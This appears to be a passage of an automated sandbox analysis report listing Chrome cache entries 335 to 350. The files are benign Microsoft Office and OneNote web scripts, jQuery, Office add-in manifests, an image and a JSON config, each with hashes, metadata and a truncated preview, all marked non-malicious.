Preview:	!function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.amd?define([],t):"object"==typeof exports?exports.FloodgateDynamicCampaign=t():e.FloodgateDynamicCampaign=t()}(self,(function(){return function(){var e={7222:function(e,t,n){"use strict";var r=this&&this.__createBinding\|\|(Object.create?function(e,t,n,r){void 0===r&&(r=n),Object.defineProperty(e,r,{enumerable:!0,get:function(){return t[n]}})}:function(e,t,n,r){void 0===r&&(r=n),e[r]=t[n]}),i=this&&this.__exportStar\|\|function(e,t){for(var n in e)"default"===n\|\|Object.prototype.hasOwnProperty.call(t,n)\|\|r(t,e,n)};Object.defineProperty(t,"__esModule",{value:!0}),t.IFloodgateHostPlatform=t.GovernedChannelType=t.ICampaignDefinitions=t.Api=void 0,i(n(7560),t),t.Api=n(7560),i(n(2783),t),i(n(8262),t),i(n(234),t);var o=n(9556);Object.defineProperty(t,"ICampaignDefinitions",{enumerable:!0,get:function(){return o.ICampaignDefinitions}});var s=n(8445);Object.defineProperty(t,"Govern

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	73609
Entropy (8bit):	5.5168576069870365
Encrypted:	false
SSDEEP:	1536:jxLs+4IkkBO62p/Tk/1GhsnwCeOYNLhQi/:jNb4IkkBO62k/1CWleOYlhQ2
MD5:	641ED2F088E8590E8A1FA338B988EE64
SHA1:	84B6C315096AE4CAF1EB06FA25AABA97FA3A19D7
SHA-256:	3E5143BA7FDD5C2AAEAE9B33D0B816CE31010263F46B4404F0757E7815904004
SHA-512:	9CFB43A421C6EA6E3DC97DB9F71F396815515F3ED35510DC3188DD1B52C1903512CDCA2E96280C5BC99751802E54AF9C9EF972795C28219BA9C709FD321D0C2A
Malicious:	false
URL:	https://wise.public.cdn.office.net/wise/owl/owl.handlers.7a8d0f78d4fddf13148f.js
Preview:	(globalThis.webpackChunkMicrosoft_Office_OWL=globalThis.webpackChunkMicrosoft_Office_OWL\|\|[]).push([[6720],{32210:function(e,n,t){"use strict";t.d(n,{A:function(){return a}});var o=t(79206),r=t.n(o),i=t(87166),s=t.n(i)()(r());s.push([e.id,".lLFji2JIIWB51LkuYBKM{width:75%;height:75%;position:fixed;top:50%;left:50%;transform:translateY(-50%) translateX(-50%);background-color:#fff;box-sizing:border-box;outline:1px solid transparent;z-index:5;box-shadow:0 0 5px 0 rgba(0,0,0,.4);border:none}","",{version:3,sources:["webpack://./../owl-service/lib/filePicker/filePickerStyles.module.scss"],names:[],mappings:"AAAA,sBACE,SAAA,CACA,UAAA,CACA,cAAA,CACA,OAAA,CACA,QAAA,CACA,2CAAA,CACA,qBAAA,CACA,qBAAA,CACA,6BAAA,CACA,SAAA,CACA,mCAAA,CACA,WAAA",sourcesContent:[".file-picker-iframe {\n width: 75%;\n height: 75%;\n position: fixed;\n top: 50%;\n left: 50%;\n transform: translateY(-50%) translateX(-50%);\n background-color: #fff;\n box-sizing: border-box;\n outline: 1px solid transparent;\n z

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	9258
Entropy (8bit):	5.806838074326134
Encrypted:	false
SSDEEP:	96:yA0JNQoxbu9xsW4guOCrae6aakWLAnHx4FbqdyjeBR56o8ykHVPAI5em1LQxhcA3:vCJ3xnWLiR4kcS56oW1PAI5eVtPh
MD5:	5FBC6BB137EA2316DEFE300913A950DF
SHA1:	29464B148AE54621A4AAD4F7742A2A05BE6517E3
SHA-256:	82553839D3ECC08D5F9DDF58F9F466B88BFC614F9613DB9525B0E7037BF6843C
SHA-512:	D0E0EB529A240E5ED9F24E7F34AA86AB60734285596B531B36623D56867375523F6BB4CD32D4FE906572EBED129A0595DE315B5B6DD9F46AEE5342048352C5E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:ov="http://schemas.microsoft.com/office/taskpaneappversionoverrides" xsi:type="TaskPaneApp">.. <Id>54fe4e50-e89c-412b-a034-143b547f9c5d</Id>.. <Version>1.0.0.0</Version>.. <ProviderName>Microsoft</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. <DisplayName DefaultValue="Meeting Details">.. <Override Locale="af-ZA" Value="Vergaderingbesonderhede" />.. <Override Locale="am-ET" Value="..... ....." />.. <Override Locale="ar-SA" Value="...... ........" />.. <Override Locale="as-IN" Value="...... ....-....." />.. <Override Locale="az-Latn-AZ" Value="Toplant. T.f.rr.atlar." />.. <Override Locale="be-BY" Value="..........

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32038)
Category:	downloaded
Size (bytes):	95992
Entropy (8bit):	5.391333957965341
Encrypted:	false
SSDEEP:	1536:OP10iSi65U/dXXeyhzeBuG+HYE0WEeLDFoNqLTW8+S5VRZIVI6xSb8xh2ZbQnRmm:R+41ZqLTW8xRrqSb8qGH77da98Hr3
MD5:	F03E5A3BF534F4A738BC350631FD05BD
SHA1:	37B1DB88B57438F1072A8EBC7559C909C9D3A682
SHA-256:	AEC3D419D50F05781A96F223E18289AEB52598B5DB39BE82A7B71DC67D6A7947
SHA-512:	8EEEAEFB86CF5F9D09426814F7B60E1805E644CAC3F5AB382C4D393DD0B7AB272C1909A31A57E6D38D5ACF207555F097A64A6DD62F60A97093E97BB184126D2A
Malicious:	false
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.11.3.min.js
Preview:	/! jQuery v1.11.3 \| (c) 2005, 2015 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.3",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){ret

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1917), with no line terminators
Category:	downloaded
Size (bytes):	1917
Entropy (8bit):	4.857442421785386
Encrypted:	false
SSDEEP:	48:l9AK7E4h5qV5j9RXkIgj3oJzXz6WnzWgEAZAdAhATcY7A03LpAQAqAuAIA3UmcY7:e4WvkIC+TzFnbcXLQ1
MD5:	FFC175D47F55E17139466B8D5F7B5597
SHA1:	F179CDF25E0F3F02E6A7506628136EC2BC61EB31
SHA-256:	038A2421C537F9A7FEFA0CBB8FD7A907D53952B424870ACC7939D6A3BCBB7B14
SHA-512:	04BF06DD8E059A8D0D4936947A36D2FF7C8258191B9FA27505894E5411E8D19B3470F16D492A0D6D6BDF4740B156C0D992BE6388BA203897416E1C7FB6739D1C
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/1033/onenote-whatsnew-strings.min.js
Preview:	var OnenoteWhatsnewStrings={WhatsNewDialogTitle:"What's New",GotItButton:"Got it!",ImmersiveReader:"The new Immersive Reader provides students with advanced tools to boost reading skills.",Ink:"Handwrite your notes, annotate documents, or sketch out your next big idea with new drawing tools.",NewNotebook:"You can now create notebooks in OneNote Online.",DragHandles:"Use drag handles to easily move text, reorder a list, swap table rows, and re-position images.",SyncUX:"Click the Page Sync Status button for more information about the sync status of the current page.",NotesFeed:"Open the Feed pane for easy access to your OneNote pages, Samsung notes, and sticky notes.",TwoPaneNavigation:"You can hide the navigation pane to focus on the current page or show the navigation pane to switch between your pages, sections, and notebooks.",ReactMLR:"Expand the ribbon to easily find OneNote commands, or collapse it again to maximize your note-taking space.",LearnMoreLinkText:"Learn More",CanvasZoom

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	969
Entropy (8bit):	5.171349633572766
Encrypted:	false
SSDEEP:	24:2dQ4+A88T+Uy8+QQIWZdgIQAEJAoImLFJ1o02ev+Es:cWA886hPtIWkIQlJwUFJ1o05v+d
MD5:	5E6EDC73470FF3E746BC8BDAC6FB38B2
SHA1:	7DFA441D001FE0B50A5F6ED6102479662D2497DF
SHA-256:	71344C4AACBC26401DD2CFDCDB7C16625B423B4E710A0030A65D90B7E16F602D
SHA-512:	F3186C5204BAE1523433CDB852732390E02864AE37CF0E39175A369E712D6101D6486C1B3B0BE031D1A3072963C251BC7F251048D172FF71081DF92A79C8132D
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:contentappor="http://schemas.microsoft.com/office/contentappversionoverrides".. xsi:type="ContentApp">.... <Id>bf3a711e-f669-4fd5-8d73-100223695f2a</Id>.. <Version>1.0.0.4</Version>.. <ProviderName>lijia</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. The display name of your add-in. Used on the store and various placed of the Office UI such as the add-ins dialog -->.. <DisplayName DefaultValue="Office first party apps" />.. <Description DefaultValue="Office first party apps" />.... <Hosts>.. <Host Name="Document"/>.. </Hosts>.... <DefaultSettings>.. <SourceLocation DefaultValue="index.html" />.. </DefaultSettings>.... <Permissions>ReadWriteDocument</Permissions>..</OfficeApp>

Chrome Cache Entry: 340

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1626
Entropy (8bit):	5.220736522823314
Encrypted:	false
SSDEEP:	48:cWA886hPtIWyTCQuwUFJ1sq4AC0Qvk2tFtYDYKo:bA0hP2yQuwQObd1f
MD5:	BCB0C4305749B10C7E9F428F8199CAF5
SHA1:	B0AFC5BE5ABE6F91286C5F15784EC25FB318BADF
SHA-256:	996A3022BDB1C69A264B5E164E4596169D81A91DC6114F7B971FBCD2A218E69C
SHA-512:	B2D3DD04BB38314E91A20C0C67C7DD8B01F72EEF52464EECD5C876C7F932527AEF65E9FF434B8CC7E7B61CB8CD25DD8228C3B38FA895E289CB70717B1842419E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<OfficeApp xmlns="http://schemas.microsoft.com/office/appforoffice/1.1".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. xmlns:bt="http://schemas.microsoft.com/office/officeappbasictypes/1.0".. xmlns:contentappor="http://schemas.microsoft.com/office/contentappversionoverrides".. xsi:type="ContentApp">.... <Id>9202f6f9-8fe3-4cf8-9cbd-384c940fe419</Id>.. <Version>1.0.0.0</Version>.. <ProviderName>kotai</ProviderName>.. <DefaultLocale>en-US</DefaultLocale>.. The display name of your add-in. Used on the store and various placed of the Office UI such as the add-ins dialog -->.. <DisplayName DefaultValue="SDX SSO Web App" />.. <Description DefaultValue="SDX SSO Web App" />.. Icon for your add-in. Used on installation screens and the add-ins dialog -->.. <IconUrl DefaultValue="assets/icon-32.png"/>.... <Hosts>.. <Host Name="Document"/>.. <Host Name="Notebook"/>.. <Host Name="Presentation"/>.. <Host Name="Workb

Chrome Cache Entry: 341

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (65340), with no line terminators
Category:	downloaded
Size (bytes):	728648
Entropy (8bit):	5.4092815192781245
Encrypted:	false
SSDEEP:	6144:8pnRk3nYbjKNpq6/VKnUMImM7OnpJ4e/wy0JG0nMWNh9iEwuUipZlZKDePqexuCC:8JUYbjKNpq8VKnUVOnZP0Y0nnXGr/7wQ
MD5:	F7E1D4D211A0B61997EA97964BD14E5A
SHA1:	2145B0FD252CD3AB2225ED0AF171C179B8CD6099
SHA-256:	B8FDD85B0B87E9C2971C6DF817D1023D9E489A821F1F3B7293876B4CD0A82FF6
SHA-512:	1AF3E71D9B1CEA51B85038785410BBD3B9989EB2228A387BF1E252B15E8E5E4A502BDA7A953ACCAEE110A46F6C5E6F277163117B4E68755934FFC74D1EF4E23C
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/wp5/uiSlice20.min.js
Preview:	function asyncGeneratorStep(e,t,o,n,r,i,a){try{var s=e[i](a),l=s.value}catch(e){return void o(e)}s.done?t(l):Promise.resolve(l).then(n,r)}function _async_to_generator(e){return function(){var t=this,o=arguments;return new Promise((function(n,r){var i=e.apply(t,o);function a(e){asyncGeneratorStep(i,n,r,a,s,"next",e)}function s(e){asyncGeneratorStep(i,n,r,a,s,"throw",e)}a(void 0)}))}}function _define_property(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e}function _object_spread(e){for(var t=1;t<arguments.length;t++){var o=null!=arguments[t]?arguments[t]:{},n=Object.keys(o);"function"==typeof Object.getOwnPropertySymbols&&(n=n.concat(Object.getOwnPropertySymbols(o).filter((function(e){return Object.getOwnPropertyDescriptor(o,e).enumerable})))),n.forEach((function(t){_define_property(e,t,o[t])}))}return e}function ownKeys(e,t){var o=Object.keys(e);if(Object.getOwnPropertySymbols){var n=Object.getOwnPropertySymbols(e);t&&(n=n.fi

Chrome Cache Entry: 342

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 102 x 102, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1922
Entropy (8bit):	7.799930090275787
Encrypted:	false
SSDEEP:	48:cENciM7PxxsRcCzKzVT0waLFE8ASYXamdHN:cENIgiCSVT0EJSYXamdt
MD5:	D212459353E8FD1D2514C77703D44F1F
SHA1:	A0CABB548A218E87FBCB4D4ADDEA47068A4288D3
SHA-256:	7AD89A907BFE47019D905B92D0C203082AA75852D39B480E6FBE1718A8EA3647
SHA-512:	8AA0C6904EFE31A38B2A52F05F79153D933BC48C028D18C110F59089D0EB7EAF2D97E84A42F81BAA8906AFD2BBD8C895FE53D8E998A4417422B97497556E1B7D
Malicious:	false
Preview:	.PNG........IHDR...f...f.....9..b...IIDATx^.ml.E..o.E..........B....'_$..&.&.....h....A..4......[..........]iC..h1.HjE.......K&......>....<3;{._......X$..T\\(.o..#..2K....g.....Oe...C..`..p..ee%...g`.e.8....b.k.c.P.:B.tv^W..2RW.,.g.j.........y..i....2.P.....T.G...Z..5.......5H..?.H...P...9..(.h.....p}..9.tS0.......q}..`pWFK..9..(....8.......L..]O..z<.%.".4..Lj:F....4.............@..s$../bux.N.%.`..$IN...%'{#.....<..]\|....0..AYt..CDI..$...=....H)..W>.>.+G>....1b........(..1?R.A...Q...C`...X...C..q]..&.........."~.o~0.P....~(\|`..^Ph......"....P.]._U0.....k.t....e.%.y3......C`.{...._$..'....k.5..J.`R........'.A....0..P(4......g...m...Z.d.I...Q.QbA..f._.nm...".....K...Cw4...k..F.e..=~..d....\|s.....`.V...`....j..ww....-..V....f.......C...6v...p.9Y..h..Wj]..._`......Z..G.m.?....w)...~...(.....=a=.]a.+R...5.`.H$..D..ehW...@..2..#..j..T.w...c..T.w...#~....e........e.k.....C.c..e.F.2.`..j..1._:....o_,.j:.!0...%....9..c.......OY0.;....0\|.U>.@`...

Chrome Cache Entry: 343

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (11652), with no line terminators
Category:	downloaded
Size (bytes):	11652
Entropy (8bit):	5.435046002751537
Encrypted:	false
SSDEEP:	192:MFiBre+1RPmTJYPqCP3jEpGfB7/h1px1KT5hJdCZhbhibcm/+fhpl02pML1DaLCX:eiBre+1ZyOLp3x14JdCZhli4mWfDlRGJ
MD5:	88549F0717DF6160AC5DEBC0030CED14
SHA1:	7539CDD9F0478597766968DFE5F2052633B76F29
SHA-256:	4B69F2216035B852B4673B035919BDAD219CEEA9C70FFA7444D17F428097181E
SHA-512:	69015943C75957045CFA199EEA4589C50479C18039922C85A7CFE1C7A8174BC1DB94795FF0B530DD91FD3D25AC32077DDCB73CF1889F2D9ED36A4435E041ABD1
Malicious:	false
URL:	https://c1-onenote-15.cdn.office.net/o/s/161821441004_App_Scripts/suiteux-shell/js/suiteux.shell.consappdata.js
Preview:	var shellPerformance=window.performance,HighResolutionTimingSupported=!!shellPerformance&&"function"==typeof shellPerformance.mark;HighResolutionTimingSupported&&shellPerformance.mark("shell_consappdata_start"),(self["suiteux_shell_webpackJsonp_suiteux-bootstrapper"]=self["suiteux_shell_webpackJsonp_suiteux-bootstrapper"]\|\|[]).push([["consappdata"],{9227:function(e,o,t){t.r(o),t.d(o,{loadConsumerAppData:function(){return _}});var l=t(6968);const n="auth=1";function s(e,o,t,l,s,r){const i=encodeURIComponent(o),a=s?encodeURIComponent(s):"",h=s?"login_hint="+a:void 0,m="https://www.microsoft365.com",u="https://outlook.com";let p=h?u+"?"+h:u;const f="https://outlook.live.com/calendar/";let d=h?f+"?"+h:f;const S="https://onedrive.live.com";let g=h?S+"?"+h:S;const w=m+"/launch/word?"+["username="+i,n].join("&");let C=h?w+"&"+h:w;const _=m+"/launch/excel?"+["username="+i,n].join("&");let O=h?_+"&"+h:_;const P=m+"/launch/powerpoint?"+["username="+i,n].join("&");let E=h?P+"&"+h:P;let y="https:/

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	109
Entropy (8bit):	4.66560738606782
Encrypted:	false
SSDEEP:	3:YmEoEMCL2RH2hAcBQMh0wVWu+xJs/FEH2MmRJBUn:YmEoYL2HuAJW0m+sNb2n
MD5:	B22CAC36842DCB642F5BFF86C0FF2FB9
SHA1:	7F0557D5258453F55C1DB5DD40AB7F1C31932655
SHA-256:	E25ABD11267B28557444D53A9A3BF52A796DF20A14205FDE0B19C6B8287976B3
SHA-512:	D991A7C2B5552EF795F01450BEB8FE91785FAB87DD53361AD4048972BADB46180966120B0EF42B647654DE6CB8E8DF6D13EFDC2C170CB498FD8DBAC63629ADAC
Malicious:	false
Preview:	{"CampaignContent":{"campaigns":[]},"DynamicSettings":{"TmsLoadTimeout":3000,"TeachingMessageCooldown":3600}}

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (56385)
Category:	dropped
Size (bytes):	203723
Entropy (8bit):	5.091010803843199
Encrypted:	false
SSDEEP:	6144:o5I0JbkzWHXzZNoK5fMO6kvBoKrpQmK4Zbwmk29X9vvNCYzRtN:ik2oK5fMO6kvBoKrpQmK4Zbwmk29X9vN
MD5:	BC553108CB200A9A9036DD8FC379767F
SHA1:	F5C8EA36367061664B738BC1C46C8192E3C8B97A
SHA-256:	A8A93A5AD7BFEBE0381A319F2681457CB386F9B645C594FB443640677F5857B5
SHA-512:	7FDF388E327C20B2227C63B7F73A0D09A956B5A94895E730AFC7139EE8CDFD165DF13C300B6C2FE76C439420A022446E55DC459C41349E1EBBCFDA7023D99422
Malicious:	false
Preview:	var CommonStrings={qpsPloc_Name:"Pseudo",qpsPloca_Name:"Pseudo (Pseudo Asia)",qpsPlocm_Name:"Pseudo (Pseudo Mirrored)",afrikaans:"Afrikaans",albanian:"Albanian",alsatian:"Alsatian",amharic:"Amharic",arabic:"Arabic",arabic_Algeria:"Arabic (Algeria)",arabic_Bahrain:"Arabic (Bahrain)",arabic_Egypt:"Arabic (Egypt)",arabic_Iraq:"Arabic (Iraq)",arabic_Jordan:"Arabic (Jordan)",arabic_Kuwait:"Arabic (Kuwait)",arabic_Lebanon:"Arabic (Lebanon)",arabic_Libya:"Arabic (Libya)",arabic_Morocco:"Arabic (Morocco)",arabic_Oman:"Arabic (Oman)",arabic_Qatar:"Arabic (Qatar)",arabic_Saudi_Arabia:"Arabic (Saudi Arabia)",arabic_Syria:"Arabic (Syria)",arabic_Tunisia:"Arabic (Tunisia)",arabic_UAE:"Arabic (U.A.E.)",arabic_Yemen:"Arabic (Yemen)",armenian:"Armenian",assamese:"Assamese",azerbaijani:"Azerbaijani",azerbaijani_Cyrillic:"Azerbaijani (Cyrillic)",azerbaijani_Latin:"Azerbaijani (Latin)",bangla_Bangladesh:"Bangla (Bangladesh)",bangla_India:"Bangla (India)",bashkir:"Bashkir",basque:"Basque",belarusian:"Bela

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (64762), with CRLF line terminators
Category:	downloaded
Size (bytes):	808183
Entropy (8bit):	5.248533367549633
Encrypted:	false
SSDEEP:	6144:u19A74RKQNPZkKh8YHOwSGkZJ7diNNTB8cN6Xg3eE:q1ZkKhIOy6f
MD5:	3B3F77A1F2990107C99E7788B6991302
SHA1:	B81E8B10377BC751AED6715856AF401F2D88234A
SHA-256:	C5AF99636CFE83E04A749B90DA4D4F7D75B8E8E2D43B29A7258F578735C5C34E
SHA-512:	57EE859510098043A40F21D30E78E9CC4A3ECA09454FD5C8A78071F172CA7588EDD61ABB6BBAE3BE224BEA10EBF8ACAB5858923F295D59652EAFB99823323C59
Malicious:	false
URL:	https://appsforoffice.microsoft.com/lib/1.1/hosted/onenote-web-16.00.js
Preview:	/...Copyright (c) Microsoft Corporation. All rights reserved.../..../...Your use of this file is governed by the license terms for the Microsoft Office JavaScript (Office.js) API library: https://github.com/OfficeDev/office-js/blob/release/LICENSE.md../..../.. @overview es6-promise - a tiny implementation of Promises/A+...* @copyright Copyright (c) 2014 Yehuda Katz, Tom Dale, Stefan Penner and contributors (Conversion to ES6 API by Jake Archibald)..* @license Licensed under MIT license..* See https://raw.githubusercontent.com/jakearchibald/es6-promise/master/LICENSE..* @version 2.3.0..*/......// Sources:..// osfweb: 16.0\16.0.18214.15000..// runtime: 16.0\16.0.18214.15000..// core: 16.0\16.0.18214.15000..// host: 16.0\16.0.18214.15000........var OfficeExt,__extends=this&&this.__extends\|\|function(){var e=function(t,n){return(e=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	532935
Entropy (8bit):	4.395072076018468
Encrypted:	false
SSDEEP:	6144:kR4D+Nfr+FScNi0IEwKcobyoWzJtdtUNabyoWz4C5RTM0:dD+Nfr0
MD5:	41357E3B962E967BC44D72B3DA22478A
SHA1:	C92D60811E9BB815D32F61E55E9EAF491546FA5D
SHA-256:	08DBB36DDCA31F436328FF92E111186CAB0BE844E91A287AAF1274F4D0B9B3C7
SHA-512:	6327672EA083A2F268ED0F5F77BC8EEA9C5594359806A30DD96DA491E2E0116C3E0DF60EDDBECD14D44B69A18CBBC9B17ABDC53F3F3B66ECAEEDC21564E635C7
Malicious:	false
Preview:	window.onenoteRibbonSpriteLazy={icons:[{type:"svg",id:"newdocument_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 1741 614 v 1332 h -1434 v -1844 h 922 m 0 512 h 367 l -367 -373 m 409 476 h -512 v -512 h -716 v 1638 h 1228 z"},{type:"path",className:"OfficeIconColors_m20",d:"M 1685 1903 h -1320 v -1735 h 868 l 452 451 z"},{type:"path",className:"OfficeIconColors_m22",d:"M 1741 614 v 1332 h -1434 v -1844 h 922 m 0 512 h 367 l -367 -373 m 409 476 h -512 v -512 h -716 v 1638 h 1228 z"}],viewBox:"0,0,2048,2048"},{type:"svg",id:"SectionTab_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 1229 307 v -205 h 102 v 1844 h -102 v -205 h -615 v -1434 z"},{type:"path",className:"OfficeIconColors_DynamicColor",d:"M 1229 307 v -205 h 102 v 1844 h -102 v -205 h -615 v -1434 z"}],viewBox:"0,0,2048,2048"},{type:"svg",id:"Table_20",children:[{type:"path",className:"OfficeIconColors_HighContrast",d:"M 102 102 h 1844 v 1844 h -1844 m 103 -1741 v 205 h 16

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	312480
Entropy (8bit):	5.467940265974621
Encrypted:	false
SSDEEP:	6144:wtV6kaCdra5cTfBJmKbEuD8V1gpXasV5GIptEH8QEk5Lbx1Ah3Fv4Z6SlwoPES/E:w6kaCdra5cTfBbIgpXasqIptEH8Qv1Ab
MD5:	65B80C88DE560F779A84639D0F9AC31B
SHA1:	9B982BFE1677E45A60651F369656C390FE15D51A
SHA-256:	C27EAC3A4384958AD7787D0C4CA7841DA0B911814C8D023C345D7C3096A404CB
SHA-512:	E718786CAFB587CB8BA39555D94AE73BF4EB7BF1CCA56BB7B019D0AD8842B90FCA952F2CEDB1CD39327CF52F5893F88FF0C0892E7B5EF25E8E993DDD7A8665E7
Malicious:	false
URL:	https://wise.public.cdn.office.net/wise/owl/owl.onenote.slim.08a39cef801bdfa43370.js
Preview:	var Microsoft;!function(){var t,e,i,n,o={4267:function(t,e,i){var n,o=function(){var t=String.fromCharCode,e="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",i="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",n={};function o(t,e){if(!n[t]){n[t]={};for(var i=0;i<t.length;i++)n[t][t.charAt(i)]=i}return n[t][e]}var s={compressToBase64:function(t){if(null==t)return"";var i=s.H(t,6,(function(t){return e.charAt(t)}));switch(i.length%4){default:case 0:return i;case 1:return i+"===";case 2:return i+"==";case 3:return i+"="}},decompressFromBase64:function(t){return null==t?"":""==t?null:s.A(t.length,32,(function(i){return o(e,t.charAt(i))}))},compressToUTF16:function(e){return null==e?"":s.H(e,15,(function(e){return t(e+32)}))+" "},decompressFromUTF16:function(t){return null==t?"":""==t?null:s.A(t.length,16384,(function(e){return t.charCodeAt(e)-32}))},compressToUint8Array:function(t){for(var e=s.compress(t),i=new Uint8Array(2*e.length),n=0,o=e.length;n<o;n

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3527), with no line terminators
Category:	dropped
Size (bytes):	3527
Entropy (8bit):	5.243451451019216
Encrypted:	false
SSDEEP:	48:G6E6oKn0FmM8LOCvlocJZS1tJM3kL+4UT3LW0IwlQSoIQ90ESf4TmlSYmYBo:9yDWocHS3Wl4W3abOQS/CahlcYW
MD5:	DF2E618F66E5DE074A8070BC09CA3C4F
SHA1:	38F67C978761E4AEAA5341A4FF39C59C1DED221C
SHA-256:	BD0DD2B15855BE52CBA496CC6E8F0FF65FBBA6ADDBA92282E53CECA6B27BFCC9
SHA-512:	6CCA2001607B8DBA825F30116A7CD0FC93A0A32E01931DA86AD4820F883CB1AD25823D61443321525550E0EEDD17E0A018A1B13F6E802050593DE19E721F450B
Malicious:	false
Preview:	function GetInstrumentationCategory(){return instrumentationCategory?instrumentationCategory:InstrumentationCategoryString?instrumentationCategory=Diag.ULSCat[InstrumentationCategoryString]:null}function InstrumentLinks(n){for(var t,r=0,i=0;i<n.length;i++)t=n[i],t.id\|\|(t.id="un_"+r,r++),t.onclick=GenerateInstrumentationLink(t.id,t.onclick),t.ondragstart=GenerateDragInstrumentationLink(t.id,t.ondrag),t.oncontextmenu=GenerateContextMenuInstrumentationLink(t.id,t.oncontextmenu)}function LogUserViewPortInfo(){var t=$(window).width(),n=$(window).height(),i=screen.width,r=screen.height,u=$(document).height(),f=n/u100;Diag.ULS.sendTraceTag(6436628,GetInstrumentationCategory(),Diag.ULSTraceLevel.info,"User ViewPort Info;windowWidth={0};windowHeight={1};screenWidth={2};screenHeight={3};percentageOfPageVisible={4};",t,n,i,r,f.toFixed(3))}function UpdateFurthestScrollDepth(){var t=$(window).scrollTop(),i=$(window).height(),r=t+i,u=$(document).height(),n=r/u100;n>furthestScrollDepthPercentage&&(

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1626
Entropy (8bit):	5.220736522823314
Encrypted:	false
SSDEEP:	48:cWA886hPtIWyTCQuwUFJ1sq4AC0Qvk2tFtYDYKo:bA0hP2yQuwQObd1f
MD5:	BCB0C4305749B10C7E9F428F8199CAF5
SHA1:	B0AFC5BE5ABE6F91286C5F15784EC25FB318BADF
SHA-256:	996A3022BDB1C69A264B5E164E4596169D81A91DC6114F7B971FBCD2A218E69C
